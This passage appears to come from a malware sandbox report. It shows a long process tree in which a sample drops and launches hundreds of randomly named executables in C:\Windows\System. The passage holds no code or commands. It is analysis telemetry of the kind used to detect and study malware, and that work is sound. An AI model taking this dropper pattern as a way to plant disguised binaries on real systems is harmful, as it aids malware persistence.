  - Executes dropped EXE
  PID:2988
- C:\Windows\System\NlioAwu.exe
  C:\Windows\System\NlioAwu.exe
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Windows\System\uMOfcow.exe
  C:\Windows\System\uMOfcow.exe
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Windows\System\AQkGTMz.exe
  C:\Windows\System\AQkGTMz.exe
  2⤵
  - Executes dropped EXE
  PID:1372
- C:\Windows\System\JnlrrFH.exe
  C:\Windows\System\JnlrrFH.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Windows\System\wUyxmvk.exe
  C:\Windows\System\wUyxmvk.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\System\njqlCgx.exe
  C:\Windows\System\njqlCgx.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\XAQotYU.exe
  C:\Windows\System\XAQotYU.exe
  2⤵
  - Executes dropped EXE
  PID:1892
- C:\Windows\System\juldnIC.exe
  C:\Windows\System\juldnIC.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\ReUdvJJ.exe
  C:\Windows\System\ReUdvJJ.exe
  2⤵
  - Executes dropped EXE
  PID:696
- C:\Windows\System\OZiCHvu.exe
  C:\Windows\System\OZiCHvu.exe
  2⤵
  - Executes dropped EXE
  PID:5080
- C:\Windows\System\lvxSZMh.exe
  C:\Windows\System\lvxSZMh.exe
  2⤵
  - Executes dropped EXE
  PID:4316
- C:\Windows\System\eqOKLQJ.exe
  C:\Windows\System\eqOKLQJ.exe
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\Windows\System\qxYiAQp.exe
  C:\Windows\System\qxYiAQp.exe
  2⤵
  - Executes dropped EXE
  PID:3008
- C:\Windows\System\dNjRCzs.exe
  C:\Windows\System\dNjRCzs.exe
  2⤵
  - Executes dropped EXE
  PID:3896
- C:\Windows\System\XDWmFQA.exe
  C:\Windows\System\XDWmFQA.exe
  2⤵
  - Executes dropped EXE
  PID:2116
- C:\Windows\System\VvYFkKO.exe
  C:\Windows\System\VvYFkKO.exe
  2⤵
  - Executes dropped EXE
  PID:4492
- C:\Windows\System\kSrvkPc.exe
  C:\Windows\System\kSrvkPc.exe
  2⤵
  - Executes dropped EXE
  PID:3204
- C:\Windows\System\NevAIYK.exe
  C:\Windows\System\NevAIYK.exe
  2⤵
  - Executes dropped EXE
  PID:4144
- C:\Windows\System\ctntVti.exe
  C:\Windows\System\ctntVti.exe
  2⤵
  - Executes dropped EXE
  PID:3388
- C:\Windows\System\vHrmspz.exe
  C:\Windows\System\vHrmspz.exe
  2⤵
  - Executes dropped EXE
  PID:4644
- C:\Windows\System\NkdWsky.exe
  C:\Windows\System\NkdWsky.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\WktijgM.exe
  C:\Windows\System\WktijgM.exe
  2⤵
  - Executes dropped EXE
  PID:4840
- C:\Windows\System\MDUYXPG.exe
  C:\Windows\System\MDUYXPG.exe
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Windows\System\gTxygKr.exe
  C:\Windows\System\gTxygKr.exe
  2⤵
  - Executes dropped EXE
  PID:3712
- C:\Windows\System\sTgnyuA.exe
  C:\Windows\System\sTgnyuA.exe
  2⤵
  - Executes dropped EXE
  PID:4196
- C:\Windows\System\xpvgbGx.exe
  C:\Windows\System\xpvgbGx.exe
  2⤵
  - Executes dropped EXE
  PID:2616
- C:\Windows\System\uUOdIsu.exe
  C:\Windows\System\uUOdIsu.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Windows\System\LmnkPUx.exe
  C:\Windows\System\LmnkPUx.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\xiHSpEk.exe
  C:\Windows\System\xiHSpEk.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\lfIDFBm.exe
  C:\Windows\System\lfIDFBm.exe
  2⤵
  - Executes dropped EXE
  PID:4916
- C:\Windows\System\pytklpc.exe
  C:\Windows\System\pytklpc.exe
  2⤵
  - Executes dropped EXE
  PID:5132
- C:\Windows\System\YNSvOah.exe
  C:\Windows\System\YNSvOah.exe
  2⤵
  - Executes dropped EXE
  PID:5160
- C:\Windows\System\tPdmNPF.exe
  C:\Windows\System\tPdmNPF.exe
  2⤵
  - Executes dropped EXE
  PID:5188
- C:\Windows\System\btKfRIt.exe
  C:\Windows\System\btKfRIt.exe
  2⤵
  - Executes dropped EXE
  PID:5224
- C:\Windows\System\jguSWjZ.exe
  C:\Windows\System\jguSWjZ.exe
  2⤵
  - Executes dropped EXE
  PID:5252
- C:\Windows\System\wZRCHwY.exe
  C:\Windows\System\wZRCHwY.exe
  2⤵
  - Executes dropped EXE
  PID:5280
- C:\Windows\System\sEaHAHa.exe
  C:\Windows\System\sEaHAHa.exe
  2⤵
  - Executes dropped EXE
  PID:5312
- C:\Windows\System\jalFKZq.exe
  C:\Windows\System\jalFKZq.exe
  2⤵
  - Executes dropped EXE
  PID:5332
- C:\Windows\System\zomKdxo.exe
  C:\Windows\System\zomKdxo.exe
  2⤵
  - Executes dropped EXE
  PID:5356
- C:\Windows\System\ivnkCGn.exe
  C:\Windows\System\ivnkCGn.exe
  2⤵
  - Executes dropped EXE
  PID:5384
- C:\Windows\System\FygdYHC.exe
  C:\Windows\System\FygdYHC.exe
  2⤵
  - Executes dropped EXE
  PID:5420
- C:\Windows\System\udMAajm.exe
  C:\Windows\System\udMAajm.exe
  2⤵
  - Executes dropped EXE
  PID:5452
- C:\Windows\System\ACdKvfx.exe
  C:\Windows\System\ACdKvfx.exe
  2⤵
  - Executes dropped EXE
  PID:5476
- C:\Windows\System\ItvppQc.exe
  C:\Windows\System\ItvppQc.exe
  2⤵
  - Executes dropped EXE
  PID:5496
- C:\Windows\System\rEuQuuU.exe
  C:\Windows\System\rEuQuuU.exe
  2⤵
  - Executes dropped EXE
  PID:5532
- C:\Windows\System\haHSxbZ.exe
  C:\Windows\System\haHSxbZ.exe
  2⤵
  - Executes dropped EXE
  PID:5568
- C:\Windows\System\cfmOjyl.exe
  C:\Windows\System\cfmOjyl.exe
  2⤵
  - Executes dropped EXE
  PID:5588
- C:\Windows\System\XjzZMDs.exe
  C:\Windows\System\XjzZMDs.exe
  2⤵
  PID:5624
- C:\Windows\System\ePbWzkG.exe
  C:\Windows\System\ePbWzkG.exe
  2⤵
  PID:5656
- C:\Windows\System\KZLnRyt.exe
  C:\Windows\System\KZLnRyt.exe
  2⤵
  PID:5680
- C:\Windows\System\GdfYwXx.exe
  C:\Windows\System\GdfYwXx.exe
  2⤵
  PID:5712
- C:\Windows\System\VpNFDrx.exe
  C:\Windows\System\VpNFDrx.exe
  2⤵
  PID:5732
- C:\Windows\System\SHhUjQR.exe
  C:\Windows\System\SHhUjQR.exe
  2⤵
  PID:5764
- C:\Windows\System\QHfLCAC.exe
  C:\Windows\System\QHfLCAC.exe
  2⤵
  PID:5788
- C:\Windows\System\npSxOMS.exe
  C:\Windows\System\npSxOMS.exe
  2⤵
  PID:5812
- C:\Windows\System\hnTUAWW.exe
  C:\Windows\System\hnTUAWW.exe
  2⤵
  PID:5832
- C:\Windows\System\nOOyFNl.exe
  C:\Windows\System\nOOyFNl.exe
  2⤵
  PID:5864
- C:\Windows\System\RtJfnYP.exe
  C:\Windows\System\RtJfnYP.exe
  2⤵
  PID:5908
- C:\Windows\System\kAcupfq.exe
  C:\Windows\System\kAcupfq.exe
  2⤵
  PID:5924
- C:\Windows\System\uFVEffT.exe
  C:\Windows\System\uFVEffT.exe
  2⤵
  PID:5940
- C:\Windows\System\hamQTqT.exe
  C:\Windows\System\hamQTqT.exe
  2⤵
  PID:5956
- C:\Windows\System\tuMSUfm.exe
  C:\Windows\System\tuMSUfm.exe
  2⤵
  PID:5972
- C:\Windows\System\QOsTosA.exe
  C:\Windows\System\QOsTosA.exe
  2⤵
  PID:5988
- C:\Windows\System\FmxUYtJ.exe
  C:\Windows\System\FmxUYtJ.exe
  2⤵
  PID:6032
- C:\Windows\System\FkTzusg.exe
  C:\Windows\System\FkTzusg.exe
  2⤵
  PID:6064
- C:\Windows\System\TVyNqXS.exe
  C:\Windows\System\TVyNqXS.exe
  2⤵
  PID:6092
- C:\Windows\System\IruWQPv.exe
  C:\Windows\System\IruWQPv.exe
  2⤵
  PID:6120
- C:\Windows\System\SrzzuiM.exe
  C:\Windows\System\SrzzuiM.exe
  2⤵
  PID:4548
- C:\Windows\System\jVRlSHs.exe
  C:\Windows\System\jVRlSHs.exe
  2⤵
  PID:4876
- C:\Windows\System\RPeTROB.exe
  C:\Windows\System\RPeTROB.exe
  2⤵
  PID:3840
- C:\Windows\System\BTKhzmd.exe
  C:\Windows\System\BTKhzmd.exe
  2⤵
  PID:1772
- C:\Windows\System\uctVZap.exe
  C:\Windows\System\uctVZap.exe
  2⤵
  PID:5168
- C:\Windows\System\HdkNTdA.exe
  C:\Windows\System\HdkNTdA.exe
  2⤵
  PID:5208
- C:\Windows\System\wYgkqDd.exe
  C:\Windows\System\wYgkqDd.exe
  2⤵
  PID:5404
- C:\Windows\System\tqMKMtI.exe
  C:\Windows\System\tqMKMtI.exe
  2⤵
  PID:5544
- C:\Windows\System\VNrvknP.exe
  C:\Windows\System\VNrvknP.exe
  2⤵
  PID:5580
- C:\Windows\System\QGIgoEf.exe
  C:\Windows\System\QGIgoEf.exe
  2⤵
  PID:5600
- C:\Windows\System\LKjJOCD.exe
  C:\Windows\System\LKjJOCD.exe
  2⤵
  PID:5648
- C:\Windows\System\zDlySNP.exe
  C:\Windows\System\zDlySNP.exe
  2⤵
  PID:5676
- C:\Windows\System\zfbktou.exe
  C:\Windows\System\zfbktou.exe
  2⤵
  PID:5720
- C:\Windows\System\GmIOsPy.exe
  C:\Windows\System\GmIOsPy.exe
  2⤵
  PID:5800
- C:\Windows\System\daEPZNm.exe
  C:\Windows\System\daEPZNm.exe
  2⤵
  PID:5824
- C:\Windows\System\idoclHd.exe
  C:\Windows\System\idoclHd.exe
  2⤵
  PID:6000
- C:\Windows\System\sfLsYEM.exe
  C:\Windows\System\sfLsYEM.exe
  2⤵
  PID:6108
- C:\Windows\System\krlvBme.exe
  C:\Windows\System\krlvBme.exe
  2⤵
  PID:404
- C:\Windows\System\xoZKhpp.exe
  C:\Windows\System\xoZKhpp.exe
  2⤵
  PID:2608
- C:\Windows\System\SYHcCsr.exe
  C:\Windows\System\SYHcCsr.exe
  2⤵
  PID:1692
- C:\Windows\System\EZypvZj.exe
  C:\Windows\System\EZypvZj.exe
  2⤵
  PID:1624
- C:\Windows\System\soyWgil.exe
  C:\Windows\System\soyWgil.exe
  2⤵
  PID:4468
- C:\Windows\System\NerHUrF.exe
  C:\Windows\System\NerHUrF.exe
  2⤵
  PID:2120
- C:\Windows\System\PzObMvq.exe
  C:\Windows\System\PzObMvq.exe
  2⤵
  PID:5152
- C:\Windows\System\fPAZyys.exe
  C:\Windows\System\fPAZyys.exe
  2⤵
  PID:1648
- C:\Windows\System\MaDqXnf.exe
  C:\Windows\System\MaDqXnf.exe
  2⤵
  PID:1836
- C:\Windows\System\IbPNPNB.exe
  C:\Windows\System\IbPNPNB.exe
  2⤵
  PID:904
- C:\Windows\System\NyGLqZm.exe
  C:\Windows\System\NyGLqZm.exe
  2⤵
  PID:5304
- C:\Windows\System\JlPlywr.exe
  C:\Windows\System\JlPlywr.exe
  2⤵
  PID:848
- C:\Windows\System\BmRLAce.exe
  C:\Windows\System\BmRLAce.exe
  2⤵
  PID:4668
- C:\Windows\System\MOIxowv.exe
  C:\Windows\System\MOIxowv.exe
  2⤵
  PID:3296
- C:\Windows\System\VIliPDF.exe
  C:\Windows\System\VIliPDF.exe
  2⤵
  PID:3756
- C:\Windows\System\cEzVCZm.exe
  C:\Windows\System\cEzVCZm.exe
  2⤵
  PID:5436
- C:\Windows\System\xQLUkgR.exe
  C:\Windows\System\xQLUkgR.exe
  2⤵
  PID:5348
- C:\Windows\System\FssZTyq.exe
  C:\Windows\System\FssZTyq.exe
  2⤵
  PID:1104
- C:\Windows\System\gtXcjwg.exe
  C:\Windows\System\gtXcjwg.exe
  2⤵
  PID:5888
- C:\Windows\System\ubvrwKq.exe
  C:\Windows\System\ubvrwKq.exe
  2⤵
  PID:5852
- C:\Windows\System\VwILbai.exe
  C:\Windows\System\VwILbai.exe
  2⤵
  PID:5932
- C:\Windows\System\lvSmoqS.exe
  C:\Windows\System\lvSmoqS.exe
  2⤵
  PID:1440
- C:\Windows\System\hqnQfzp.exe
  C:\Windows\System\hqnQfzp.exe
  2⤵
  PID:4448
- C:\Windows\System\HdrYMYC.exe
  C:\Windows\System\HdrYMYC.exe
  2⤵
  PID:4868
- C:\Windows\System\SyRAEoH.exe
  C:\Windows\System\SyRAEoH.exe
  2⤵
  PID:1120
- C:\Windows\System\SiQLqCy.exe
  C:\Windows\System\SiQLqCy.exe
  2⤵
  PID:1144
- C:\Windows\System\OtsCrLt.exe
  C:\Windows\System\OtsCrLt.exe
  2⤵
  PID:1640
- C:\Windows\System\BenBQyW.exe
  C:\Windows\System\BenBQyW.exe
  2⤵
  PID:5060
- C:\Windows\System\fYnTUmg.exe
  C:\Windows\System\fYnTUmg.exe
  2⤵
  PID:5508
- C:\Windows\System\SFrHLAx.exe
  C:\Windows\System\SFrHLAx.exe
  2⤵
  PID:5668
- C:\Windows\System\XVlLgxL.exe
  C:\Windows\System\XVlLgxL.exe
  2⤵
  PID:5808
- C:\Windows\System\IMGenCP.exe
  C:\Windows\System\IMGenCP.exe
  2⤵
  PID:5916
- C:\Windows\System\rCtxoOc.exe
  C:\Windows\System\rCtxoOc.exe
  2⤵
  PID:4296
- C:\Windows\System\ooKexfk.exe
  C:\Windows\System\ooKexfk.exe
  2⤵
  PID:4600
- C:\Windows\System\BfieOPn.exe
  C:\Windows\System\BfieOPn.exe
  2⤵
  PID:3372
- C:\Windows\System\PbTYVIC.exe
  C:\Windows\System\PbTYVIC.exe
  2⤵
  PID:6156
- C:\Windows\System\kGTEWtP.exe
  C:\Windows\System\kGTEWtP.exe
  2⤵
  PID:6192
- C:\Windows\System\ipIBHll.exe
  C:\Windows\System\ipIBHll.exe
  2⤵
  PID:6220
- C:\Windows\System\XcfRTUG.exe
  C:\Windows\System\XcfRTUG.exe
  2⤵
  PID:6244
- C:\Windows\System\KCEKvHF.exe
  C:\Windows\System\KCEKvHF.exe
  2⤵
  PID:6272
- C:\Windows\System\aUJeCjO.exe
  C:\Windows\System\aUJeCjO.exe
  2⤵
  PID:6340
- C:\Windows\System\eVdECbk.exe
  C:\Windows\System\eVdECbk.exe
  2⤵
  PID:6396
- C:\Windows\System\JVegUvs.exe
  C:\Windows\System\JVegUvs.exe
  2⤵
  PID:6420
- C:\Windows\System\VefLQvp.exe
  C:\Windows\System\VefLQvp.exe
  2⤵
  PID:6460
- C:\Windows\System\NwhVSnE.exe
  C:\Windows\System\NwhVSnE.exe
  2⤵
  PID:6484
- C:\Windows\System\MLakCVT.exe
  C:\Windows\System\MLakCVT.exe
  2⤵
  PID:6500
- C:\Windows\System\yyTKWTR.exe
  C:\Windows\System\yyTKWTR.exe
  2⤵
  PID:6548
- C:\Windows\System\XwtQMlD.exe
  C:\Windows\System\XwtQMlD.exe
  2⤵
  PID:6588
- C:\Windows\System\PpAqBhB.exe
  C:\Windows\System\PpAqBhB.exe
  2⤵
  PID:6616
- C:\Windows\System\wBQiwlS.exe
  C:\Windows\System\wBQiwlS.exe
  2⤵
  PID:6636
- C:\Windows\System\VMhsafw.exe
  C:\Windows\System\VMhsafw.exe
  2⤵
  PID:6664
- C:\Windows\System\DlIudQI.exe
  C:\Windows\System\DlIudQI.exe
  2⤵
  PID:6688
- C:\Windows\System\MFtipTB.exe
  C:\Windows\System\MFtipTB.exe
  2⤵
  PID:6704
- C:\Windows\System\WEDhaiW.exe
  C:\Windows\System\WEDhaiW.exe
  2⤵
  PID:6756
- C:\Windows\System\jjdKRvI.exe
  C:\Windows\System\jjdKRvI.exe
  2⤵
  PID:6780
- C:\Windows\System\UJhXslo.exe
  C:\Windows\System\UJhXslo.exe
  2⤵
  PID:6800
- C:\Windows\System\EVxKYFu.exe
  C:\Windows\System\EVxKYFu.exe
  2⤵
  PID:6844
- C:\Windows\System\vOuOzpe.exe
  C:\Windows\System\vOuOzpe.exe
  2⤵
  PID:6884
- C:\Windows\System\ucMNJQd.exe
  C:\Windows\System\ucMNJQd.exe
  2⤵
  PID:6912
- C:\Windows\System\gSxPaTr.exe
  C:\Windows\System\gSxPaTr.exe
  2⤵
  PID:6932
- C:\Windows\System\KzmPGNP.exe
  C:\Windows\System\KzmPGNP.exe
  2⤵
  PID:6960
- C:\Windows\System\ZHzssta.exe
  C:\Windows\System\ZHzssta.exe
  2⤵
  PID:6984
- C:\Windows\System\WhKHZOV.exe
  C:\Windows\System\WhKHZOV.exe
  2⤵
  PID:7008
- C:\Windows\System\FFdMGHe.exe
  C:\Windows\System\FFdMGHe.exe
  2⤵
  PID:7044
- C:\Windows\System\IOPxxpX.exe
  C:\Windows\System\IOPxxpX.exe
  2⤵
  PID:7064
- C:\Windows\System\WCPXCaT.exe
  C:\Windows\System\WCPXCaT.exe
  2⤵
  PID:7128
- C:\Windows\System\sadvvhj.exe
  C:\Windows\System\sadvvhj.exe
  2⤵
  PID:7160
- C:\Windows\System\TGZDtag.exe
  C:\Windows\System\TGZDtag.exe
  2⤵
  PID:2776
- C:\Windows\System\nHrIsGI.exe
  C:\Windows\System\nHrIsGI.exe
  2⤵
  PID:3320
- C:\Windows\System\tNGEbjt.exe
  C:\Windows\System\tNGEbjt.exe
  2⤵
  PID:5176
- C:\Windows\System\jMDBPfj.exe
  C:\Windows\System\jMDBPfj.exe
  2⤵
  PID:6312
- C:\Windows\System\yIKczUJ.exe
  C:\Windows\System\yIKczUJ.exe
  2⤵
  PID:6348
- C:\Windows\System\meFehyv.exe
  C:\Windows\System\meFehyv.exe
  2⤵
  PID:5036
- C:\Windows\System\wGaTAyN.exe
  C:\Windows\System\wGaTAyN.exe
  2⤵
  PID:6472
- C:\Windows\System\gXMoFMo.exe
  C:\Windows\System\gXMoFMo.exe
  2⤵
  PID:6556
- C:\Windows\System\cxKEJOX.exe
  C:\Windows\System\cxKEJOX.exe
  2⤵
  PID:6632
- C:\Windows\System\dGBKJBa.exe
  C:\Windows\System\dGBKJBa.exe
  2⤵
  PID:6700
- C:\Windows\System\klDKcMT.exe
  C:\Windows\System\klDKcMT.exe
  2⤵
  PID:6736
- C:\Windows\System\OagaQjo.exe
  C:\Windows\System\OagaQjo.exe
  2⤵
  PID:6812
- C:\Windows\System\qEFpmIG.exe
  C:\Windows\System\qEFpmIG.exe
  2⤵
  PID:2636
- C:\Windows\System\oTPFvSA.exe
  C:\Windows\System\oTPFvSA.exe
  2⤵
  PID:6940
- C:\Windows\System\VMxGMMP.exe
  C:\Windows\System\VMxGMMP.exe
  2⤵
  PID:6880
- C:\Windows\System\NCwpQLy.exe
  C:\Windows\System\NCwpQLy.exe
  2⤵
  PID:6956
- C:\Windows\System\IKFKzrO.exe
  C:\Windows\System\IKFKzrO.exe
  2⤵
  PID:7032
- C:\Windows\System\YHVAAEF.exe
  C:\Windows\System\YHVAAEF.exe
  2⤵
  PID:7056
- C:\Windows\System\tNdGvRd.exe
  C:\Windows\System\tNdGvRd.exe
  2⤵
  PID:7084
- C:\Windows\System\IhUuXHV.exe
  C:\Windows\System\IhUuXHV.exe
  2⤵
  PID:7148
- C:\Windows\System\xWLVkoy.exe
  C:\Windows\System\xWLVkoy.exe
  2⤵
  PID:6180
- C:\Windows\System\nUqwdXu.exe
  C:\Windows\System\nUqwdXu.exe
  2⤵
  PID:4700
- C:\Windows\System\JagLWjA.exe
  C:\Windows\System\JagLWjA.exe
  2⤵
  PID:6740
- C:\Windows\System\zIcHsWM.exe
  C:\Windows\System\zIcHsWM.exe
  2⤵
  PID:6792
- C:\Windows\System\URKMBaW.exe
  C:\Windows\System\URKMBaW.exe
  2⤵
  PID:3976
- C:\Windows\System\chTNayM.exe
  C:\Windows\System\chTNayM.exe
  2⤵
  PID:7028
- C:\Windows\System\tbsGjiA.exe
  C:\Windows\System\tbsGjiA.exe
  2⤵
  PID:5596
- C:\Windows\System\eFxeAlg.exe
  C:\Windows\System\eFxeAlg.exe
  2⤵
  PID:6336
- C:\Windows\System\zgwyrMf.exe
  C:\Windows\System\zgwyrMf.exe
  2⤵
  PID:6920
- C:\Windows\System\SJJrkiv.exe
  C:\Windows\System\SJJrkiv.exe
  2⤵
  PID:6744
- C:\Windows\System\dsMsLnW.exe
  C:\Windows\System\dsMsLnW.exe
  2⤵
  PID:7184
- C:\Windows\System\faAaUda.exe
  C:\Windows\System\faAaUda.exe
  2⤵
  PID:7232
- C:\Windows\System\eexllLb.exe
  C:\Windows\System\eexllLb.exe
  2⤵
  PID:7248
- C:\Windows\System\JHGlBgg.exe
  C:\Windows\System\JHGlBgg.exe
  2⤵
  PID:7268
- C:\Windows\System\smsuZYB.exe
  C:\Windows\System\smsuZYB.exe
  2⤵
  PID:7356
- C:\Windows\System\DzUpFPv.exe
  C:\Windows\System\DzUpFPv.exe
  2⤵
  PID:7380
- C:\Windows\System\JoMfpKS.exe
  C:\Windows\System\JoMfpKS.exe
  2⤵
  PID:7440
- C:\Windows\System\QVjYWUC.exe
  C:\Windows\System\QVjYWUC.exe
  2⤵
  PID:7480
- C:\Windows\System\qMZubpS.exe
  C:\Windows\System\qMZubpS.exe
  2⤵
  PID:7512
- C:\Windows\System\aZBwWey.exe
  C:\Windows\System\aZBwWey.exe
  2⤵
  PID:7532
- C:\Windows\System\nyANHyv.exe
  C:\Windows\System\nyANHyv.exe
  2⤵
  PID:7560
- C:\Windows\System\JJUxodT.exe
  C:\Windows\System\JJUxodT.exe
  2⤵
  PID:7600
- C:\Windows\System\NjDWjuD.exe
  C:\Windows\System\NjDWjuD.exe
  2⤵
  PID:7620
- C:\Windows\System\REHKCEX.exe
  C:\Windows\System\REHKCEX.exe
  2⤵
  PID:7640
- C:\Windows\System\cvEozAc.exe
  C:\Windows\System\cvEozAc.exe
  2⤵
  PID:7668
- C:\Windows\System\MMNDsvC.exe
  C:\Windows\System\MMNDsvC.exe
  2⤵
  PID:7684
- C:\Windows\System\NvAAjin.exe
  C:\Windows\System\NvAAjin.exe
  2⤵
  PID:7736
- C:\Windows\System\OiIWQje.exe
  C:\Windows\System\OiIWQje.exe
  2⤵
  PID:7756
- C:\Windows\System\uKVCazV.exe
  C:\Windows\System\uKVCazV.exe
  2⤵
  PID:7788
- C:\Windows\System\QeSJkdS.exe
  C:\Windows\System\QeSJkdS.exe
  2⤵
  PID:7920
- C:\Windows\System\bBmgQRS.exe
  C:\Windows\System\bBmgQRS.exe
  2⤵
  PID:7972
- C:\Windows\System\DgxmDmA.exe
  C:\Windows\System\DgxmDmA.exe
  2⤵
  PID:7992
- C:\Windows\System\GnHJJmz.exe
  C:\Windows\System\GnHJJmz.exe
  2⤵
  PID:8020
- C:\Windows\System\WsSYXXl.exe
  C:\Windows\System\WsSYXXl.exe
  2⤵
  PID:8048
- C:\Windows\System\ZxLfrqa.exe
  C:\Windows\System\ZxLfrqa.exe
  2⤵
  PID:8108
- C:\Windows\System\lCsBZMJ.exe
  C:\Windows\System\lCsBZMJ.exe
  2⤵
  PID:8136
- C:\Windows\System\WcJbSHp.exe
  C:\Windows\System\WcJbSHp.exe
  2⤵
  PID:8180
- C:\Windows\System\bmxjpTX.exe
  C:\Windows\System\bmxjpTX.exe
  2⤵
  PID:6584
- C:\Windows\System\YGmjpTg.exe
  C:\Windows\System\YGmjpTg.exe
  2⤵
  PID:7212
- C:\Windows\System\wcAfpjl.exe
  C:\Windows\System\wcAfpjl.exe
  2⤵
  PID:7276
- C:\Windows\System\aoLHmwk.exe
  C:\Windows\System\aoLHmwk.exe
  2⤵
  PID:7296
- C:\Windows\System\KLDTBtB.exe
  C:\Windows\System\KLDTBtB.exe
  2⤵
  PID:7316
- C:\Windows\System\cEdbSNN.exe
  C:\Windows\System\cEdbSNN.exe
  2⤵
  PID:7428
- C:\Windows\System\idBkKhp.exe
  C:\Windows\System\idBkKhp.exe
  2⤵
  PID:7448
- C:\Windows\System\vmnOsUZ.exe
  C:\Windows\System\vmnOsUZ.exe
  2⤵
  PID:7528
- C:\Windows\System\pyiUGIe.exe
  C:\Windows\System\pyiUGIe.exe
  2⤵
  PID:7508
- C:\Windows\System\ooDvQxa.exe
  C:\Windows\System\ooDvQxa.exe
  2⤵
  PID:7596
- C:\Windows\System\kokbnUw.exe
  C:\Windows\System\kokbnUw.exe
  2⤵
  PID:7636
- C:\Windows\System\ezAmBdF.exe
  C:\Windows\System\ezAmBdF.exe
  2⤵
  PID:7716
- C:\Windows\System\plzCKmo.exe
  C:\Windows\System\plzCKmo.exe
  2⤵
  PID:7824
- C:\Windows\System\rDrNlIp.exe
  C:\Windows\System\rDrNlIp.exe
  2⤵
  PID:7964
- C:\Windows\System\bNLPyBU.exe
  C:\Windows\System\bNLPyBU.exe
  2⤵
  PID:8040
- C:\Windows\System\JEoKEuu.exe
  C:\Windows\System\JEoKEuu.exe
  2⤵
  PID:8100
- C:\Windows\System\MICnrJI.exe
  C:\Windows\System\MICnrJI.exe
  2⤵
  PID:8160
- C:\Windows\System\tpKVaiW.exe
  C:\Windows\System\tpKVaiW.exe
  2⤵
  PID:6904
- C:\Windows\System\sYZrZRN.exe
  C:\Windows\System\sYZrZRN.exe
  2⤵
  PID:7264
- C:\Windows\System\pJBIcuN.exe
  C:\Windows\System\pJBIcuN.exe
  2⤵
  PID:7284
- C:\Windows\System\QiBllVM.exe
  C:\Windows\System\QiBllVM.exe
  2⤵
  PID:7396
- C:\Windows\System\fzlyxDd.exe
  C:\Windows\System\fzlyxDd.exe
  2⤵
  PID:7628
- C:\Windows\System\hxOjacj.exe
  C:\Windows\System\hxOjacj.exe
  2⤵
  PID:7748
- C:\Windows\System\wcBcJtP.exe
  C:\Windows\System\wcBcJtP.exe
  2⤵
  PID:7692
- C:\Windows\System\SjnSKuP.exe
  C:\Windows\System\SjnSKuP.exe
  2⤵
  PID:7932
- C:\Windows\System\YRNfguS.exe
  C:\Windows\System\YRNfguS.exe
  2⤵
  PID:8068
- C:\Windows\System\MnDcule.exe
  C:\Windows\System\MnDcule.exe
  2⤵
  PID:8148
- C:\Windows\System\bQrLyKY.exe
  C:\Windows\System\bQrLyKY.exe
  2⤵
  PID:7328
- C:\Windows\System\BgKkSoJ.exe
  C:\Windows\System\BgKkSoJ.exe
  2⤵
  PID:7432
- C:\Windows\System\CUzspEK.exe
  C:\Windows\System\CUzspEK.exe
  2⤵
  PID:7228
- C:\Windows\System\QhMDztu.exe
  C:\Windows\System\QhMDztu.exe
  2⤵
  PID:7848
- C:\Windows\System\VLIElrF.exe
  C:\Windows\System\VLIElrF.exe
  2⤵
  PID:3412
- C:\Windows\System\oUwhCGH.exe
  C:\Windows\System\oUwhCGH.exe
  2⤵
  PID:8104
- C:\Windows\System\UOpGhie.exe
  C:\Windows\System\UOpGhie.exe
  2⤵
  PID:7260
- C:\Windows\System\XzYNvyL.exe
  C:\Windows\System\XzYNvyL.exe
  2⤵
  PID:7880
- C:\Windows\System\qVyPOht.exe
  C:\Windows\System\qVyPOht.exe
  2⤵
  PID:2216
- C:\Windows\System\baKJzmH.exe
  C:\Windows\System\baKJzmH.exe
  2⤵
  PID:8096
- C:\Windows\System\ELZLOIB.exe
  C:\Windows\System\ELZLOIB.exe
  2⤵
  PID:8176
- C:\Windows\System\kyiIkTU.exe
  C:\Windows\System\kyiIkTU.exe
  2⤵
  PID:8208
- C:\Windows\System\LDTGNrp.exe
  C:\Windows\System\LDTGNrp.exe
  2⤵
  PID:8228
- C:\Windows\System\hdgcaCL.exe
  C:\Windows\System\hdgcaCL.exe
  2⤵
  PID:8248
- C:\Windows\System\NkdUwzc.exe
  C:\Windows\System\NkdUwzc.exe
  2⤵
  PID:8320
- C:\Windows\System\ZMMpCrl.exe
  C:\Windows\System\ZMMpCrl.exe
  2⤵
  PID:8432
- C:\Windows\System\EQdBkpt.exe
  C:\Windows\System\EQdBkpt.exe
  2⤵
  PID:8476
- C:\Windows\System\YFICdLr.exe
  C:\Windows\System\YFICdLr.exe
  2⤵
  PID:8508
- C:\Windows\System\LxjUXsg.exe
  C:\Windows\System\LxjUXsg.exe
  2⤵
  PID:8532
- C:\Windows\System\HpYKVLs.exe
  C:\Windows\System\HpYKVLs.exe
  2⤵
  PID:8652
- C:\Windows\System\OwXwCix.exe
  C:\Windows\System\OwXwCix.exe
  2⤵
  PID:8672
- C:\Windows\System\ovrjDvl.exe
  C:\Windows\System\ovrjDvl.exe
  2⤵
  PID:8752
- C:\Windows\System\xzVSqux.exe
  C:\Windows\System\xzVSqux.exe
  2⤵
  PID:8776
- C:\Windows\System\WdJLbKO.exe
  C:\Windows\System\WdJLbKO.exe
  2⤵
  PID:8836
- C:\Windows\System\kfsqoGd.exe
  C:\Windows\System\kfsqoGd.exe
  2⤵
  PID:8852
- C:\Windows\System\PSsUfbs.exe
  C:\Windows\System\PSsUfbs.exe
  2⤵
  PID:8868
- C:\Windows\System\XUXbhnt.exe
  C:\Windows\System\XUXbhnt.exe
  2⤵
  PID:8884
- C:\Windows\System\CRUZiuq.exe
  C:\Windows\System\CRUZiuq.exe
  2⤵
  PID:8904
- C:\Windows\System\WlRLiAl.exe
  C:\Windows\System\WlRLiAl.exe
  2⤵
  PID:8920
- C:\Windows\System\tZIjtms.exe
  C:\Windows\System\tZIjtms.exe
  2⤵
  PID:8956
- C:\Windows\System\ocaBUKB.exe
  C:\Windows\System\ocaBUKB.exe
  2⤵
  PID:8980
